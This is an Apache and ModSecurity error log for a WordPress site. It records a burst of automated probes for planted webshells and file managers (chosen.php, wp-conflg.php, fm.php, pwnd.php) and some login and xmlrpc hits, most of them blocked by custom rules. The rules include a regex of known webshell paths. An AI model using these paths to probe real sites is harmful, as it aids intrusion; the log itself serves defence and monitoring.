[Wed Feb 25 05:53:25.616580 2026] [:error] [pid 5619:tid 5636] [client 98.159.43.147:34149] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aZ4d1ZFUzdv-0L_F4fu7hQAAAgE"]
[Wed Feb 25 05:53:29.378627 2026] [:error] [pid 20658:tid 20687] [client 98.159.43.130:54913] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aZ4d2eu8cohhPfsAIFmqxwAAABQ"]
[Wed Feb 25 05:53:29.647154 2026] [:error] [pid 60290:tid 60301] [client 98.159.43.161:42349] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aZ4d2TPwSUztcPyiofpzOgAAAQk"]
[Wed Feb 25 05:53:29.863768 2026] [:error] [pid 5556:tid 5604] [client 98.159.43.135:22875] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aZ4d2aOrYeaTyh7lGRUgyAAAAdE"]
[Wed Feb 25 05:53:31.920678 2026] [:error] [pid 5556:tid 5599] [client 98.159.43.122:57551] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aZ4d26OrYeaTyh7lGRUgzAAAAcw"]
[Wed Feb 25 05:53:33.991643 2026] [:error] [pid 5556:tid 5600] [client 98.159.43.146:54665] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aZ4d3aOrYeaTyh7lGRUg0AAAAc0"]
[Wed Feb 25 05:53:43.109943 2026] [:error] [pid 20659:tid 20707] [client 98.159.43.106:63873] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aZ4d5z_THK_HtK-Q44L1PwAAAEw"]
[Wed Feb 25 05:53:43.304158 2026] [:error] [pid 60498:tid 60516] [client 98.159.43.142:24065] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aZ4d5yFCVhQ3ffus0uJvqQAAAss"]
[Wed Feb 25 05:54:46.645976 2026] [:error] [pid 60290:tid 60301] [client 98.159.43.148:38807] [client 98.159.43.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ4eJjPwSUztcPyiofpzxQAAAQk"]
[Wed Feb 25 05:54:53.952372 2026] [:error] [pid 60290:tid 60301] [client 98.159.43.148:38807] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aZ4eLTPwSUztcPyiofpz1AAAAQk"]
[Wed Feb 25 05:55:15.776539 2026] [:error] [pid 5556:tid 5601] [client 98.159.43.111:42641] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aZ4eQ6OrYeaTyh7lGRUhmwAAAc4"]
[Wed Feb 25 05:56:07.652552 2026] [:error] [pid 5620:tid 5666] [client 98.159.43.161:42563] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aZ4ed4Y2LQjtieeRkoa5BAAAAwQ"]
[Wed Feb 25 05:57:30.689503 2026] [:error] [pid 5556:tid 5600] [client 98.159.43.135:42331] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aZ4eyqOrYeaTyh7lGRUi0wAAAc0"]
[Wed Feb 25 05:57:58.932712 2026] [:error] [pid 5620:tid 5681] [client 98.159.43.163:39235] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aZ4e5oY2LQjtieeRkoa6pgAAAxI"]
[Wed Feb 25 05:57:59.230930 2026] [:error] [pid 5619:tid 5640] [client 98.159.43.133:41695] [client 98.159.43.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 98.159.43.133, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ4e55FUzdv-0L_F4fu-xAAAAgU"]
[Wed Feb 25 05:58:03.203853 2026] [:error] [pid 5619:tid 5642] [client 98.159.43.133:41695] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZ4e65FUzdv-0L_F4fu-5QAAAgc"]
[Wed Feb 25 05:58:14.317276 2026] [:error] [pid 5620:tid 5668] [client 98.159.43.138:48947] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZ4e9oY2LQjtieeRkoa65AAAAwY"]
[Wed Feb 25 05:58:36.961193 2026] [:error] [pid 5556:tid 5607] [client 98.159.43.146:54143] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ4fDKOrYeaTyh7lGRUjVQAAAdQ"]
[Wed Feb 25 05:58:37.233943 2026] [:error] [pid 60387:tid 60478] [client 98.159.43.134:55317] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ4fDYHL0QH7Sr13X0Km3QAAAoY"]
[Wed Feb 25 05:58:37.432488 2026] [:error] [pid 60290:tid 60306] [client 98.159.43.158:44541] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aZ4fDTPwSUztcPyiofp1RAAAAQ4"]
[Wed Feb 25 05:58:37.670709 2026] [:error] [pid 5556:tid 5593] [client 98.159.43.154:43709] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aZ4fDaOrYeaTyh7lGRUjWAAAAcY"]
[Wed Feb 25 05:58:41.558899 2026] [:error] [pid 60290:tid 60295] [client 98.159.43.114:49843] [client 98.159.43.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aZ4fETPwSUztcPyiofp1VQAAAQM"]
[Wed Feb 25 05:59:04.801527 2026] [:error] [pid 60290:tid 60305] [client 98.159.43.114:49843] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aZ4fKDPwSUztcPyiofp1lwAAAQ0"]
[Wed Feb 25 05:59:11.355079 2026] [:error] [pid 60290:tid 60307] [client 98.159.43.135:27037] [client 98.159.43.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aZ4fLzPwSUztcPyiofp1rAAAAQ8"]
[Wed Feb 25 05:59:24.968725 2026] [:error] [pid 60290:tid 60315] [client 98.159.43.135:27037] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aZ4fPDPwSUztcPyiofp10AAAARc"]
[Wed Feb 25 05:59:25.183679 2026] [:error] [pid 60498:tid 60525] [client 98.159.43.111:37711] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aZ4fPSFCVhQ3ffus0uJwvwAAAtQ"]
[Wed Feb 25 05:59:29.145694 2026] [proxy_fcgi:error] [pid 60498:tid 60529] [client 98.159.43.155:35487] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 05:59:39.336283 2026] [proxy_fcgi:error] [pid 60498:tid 60506] [client 98.159.43.155:35487] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:00:02.249340 2026] [:error] [pid 60498:tid 60527] [client 98.159.43.155:35487] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZ4fYiFCVhQ3ffus0uJw7AAAAtY"]
[Wed Feb 25 06:00:06.545054 2026] [:error] [pid 5620:tid 5694] [client 98.159.43.108:54267] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aZ4fZoY2LQjtieeRkoa8sgAAAxY"]
[Wed Feb 25 06:00:08.646960 2026] [:error] [pid 60498:tid 60516] [client 98.159.43.113:50487] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZ4faCFCVhQ3ffus0uJw9AAAAss"]
[Wed Feb 25 06:00:13.045508 2026] [:error] [pid 60290:tid 60296] [client 98.159.43.112:29211] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aZ4fbTPwSUztcPyiofp2HAAAAQQ"]
[Wed Feb 25 06:00:13.328025 2026] [:error] [pid 5619:tid 5652] [client 98.159.43.158:25167] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aZ4fbZFUzdv-0L_F4fu_2QAAAhE"]
[Wed Feb 25 06:00:13.520330 2026] [:error] [pid 5619:tid 5656] [client 98.159.43.145:22705] [client 98.159.43.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aZ4fbZFUzdv-0L_F4fu_3QAAAhU"]
[Wed Feb 25 06:00:19.343660 2026] [:error] [pid 5619:tid 5643] [client 98.159.43.145:22705] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aZ4fc5FUzdv-0L_F4fu__AAAAgg"]
[Wed Feb 25 06:00:27.035442 2026] [autoindex:error] [pid 5556:tid 5602] [client 98.159.43.163:48225] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:00:28.984247 2026] [:error] [pid 5556:tid 5599] [client 98.159.43.163:48225] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aZ4ffKOrYeaTyh7lGRUj-gAAAcw"]
[Wed Feb 25 06:00:31.266434 2026] [:error] [pid 60387:tid 60473] [client 98.159.43.132:57657] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aZ4ff4HL0QH7Sr13X0KnBgAAAoE"]
[Wed Feb 25 06:00:36.596043 2026] [:error] [pid 5556:tid 5588] [client 98.159.43.129:40411] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aZ4fhKOrYeaTyh7lGRUkEAAAAcE"]
[Wed Feb 25 06:00:42.903922 2026] [:error] [pid 5620:tid 5685] [client 98.159.43.130:48027] [client 98.159.43.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.130, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aZ4fioY2LQjtieeRkoa9AwAAAxQ"]
[Wed Feb 25 06:00:49.024174 2026] [:error] [pid 5620:tid 5668] [client 98.159.43.130:48027] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aZ4fkYY2LQjtieeRkoa9KwAAAwY"]
[Wed Feb 25 06:00:49.212171 2026] [:error] [pid 60498:tid 60528] [client 98.159.43.117:33347] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZ4fkSFCVhQ3ffus0uJxFgAAAtc"]
[Wed Feb 25 06:01:07.827660 2026] [:error] [pid 20658:tid 20668] [client 98.159.43.146:33979] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aZ4fo-u8cohhPfsAIFmrqwAAAAE"]
[Wed Feb 25 06:01:08.316901 2026] [:error] [pid 5620:tid 5667] [client 98.159.43.157:32137] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aZ4fpIY2LQjtieeRkoa9eQAAAwU"]
[Wed Feb 25 06:01:08.543770 2026] [:error] [pid 5620:tid 5698] [client 98.159.43.113:25229] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aZ4fpIY2LQjtieeRkoa9fAAAAxc"]
[Wed Feb 25 06:01:08.906953 2026] [:error] [pid 5556:tid 5601] [client 98.159.43.155:22467] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aZ4fpKOrYeaTyh7lGRUkQwAAAc4"]
[Wed Feb 25 06:01:09.104738 2026] [:error] [pid 5556:tid 5599] [client 98.159.43.113:50569] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aZ4fpaOrYeaTyh7lGRUkRQAAAcw"]
[Wed Feb 25 06:01:14.796734 2026] [:error] [pid 5556:tid 5589] [client 98.159.43.137:49209] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aZ4fqqOrYeaTyh7lGRUkaAAAAcI"]
[Wed Feb 25 06:01:20.308405 2026] [:error] [pid 5619:tid 5650] [client 98.159.43.111:63005] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aZ4fsJFUzdv-0L_F4fvASgAAAg8"]
[Wed Feb 25 06:01:23.899006 2026] [:error] [pid 60290:tid 60309] [client 98.159.43.107:39359] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZ4fszPwSUztcPyiofp2dAAAARE"]
[Wed Feb 25 06:01:25.890046 2026] [:error] [pid 5620:tid 5672] [client 98.159.43.110:38885] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aZ4ftYY2LQjtieeRkoa9jwAAAwo"]
[Wed Feb 25 06:01:29.931177 2026] [:error] [pid 60290:tid 60298] [client 98.159.43.112:30073] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aZ4fuTPwSUztcPyiofp2gAAAAQY"]
[Wed Feb 25 06:01:30.120006 2026] [:error] [pid 5620:tid 5682] [client 98.159.43.135:36987] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aZ4fuoY2LQjtieeRkoa9qgAAAxM"]
